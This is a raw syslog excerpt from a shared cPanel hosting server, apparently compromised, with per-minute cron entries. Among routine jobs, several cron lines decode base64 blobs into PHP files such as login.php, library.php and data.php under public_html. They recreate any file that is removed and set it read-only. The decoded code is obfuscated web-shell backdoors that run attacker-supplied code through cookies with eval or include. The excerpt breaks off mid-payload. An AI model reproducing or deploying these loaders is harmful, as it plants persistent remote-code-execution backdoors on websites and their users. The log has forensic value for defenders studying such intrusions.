Mar  2 03:50:41 medusa anacron[22129]: Normal exit (1 job run)
Mar  2 03:51:01 medusa CROND[31589]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:51:01 medusa CROND[31590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:51:01 medusa CROND[31759]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:51:01 medusa CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:51:01 medusa CROND[31761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:51:01 medusa CROND[31762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:51:01 medusa CROND[31763]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:51:01 medusa CROND[31766]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:51:01 medusa CROND[31765]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:51:01 medusa CROND[31769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:51:01 medusa CROND[31773]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:51:01 medusa CROND[31774]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:51:01 medusa CROND[31776]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:51:01 medusa CROND[31775]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:51:01 medusa CROND[31778]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:52:01 medusa CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:52:01 medusa CROND[18833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:52:01 medusa CROND[18843]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:52:01 medusa CROND[18844]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:52:01 medusa CROND[18845]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:52:01 medusa CROND[18847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:52:01 medusa CROND[18850]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:52:01 medusa CROND[18848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:52:01 medusa CROND[18851]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:52:01 medusa CROND[18855]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:52:01 medusa CROND[18856]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:52:01 medusa CROND[18863]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:52:01 medusa CROND[18876]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:53:01 medusa CROND[5008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:53:01 medusa CROND[5144]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:53:01 medusa CROND[5145]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUF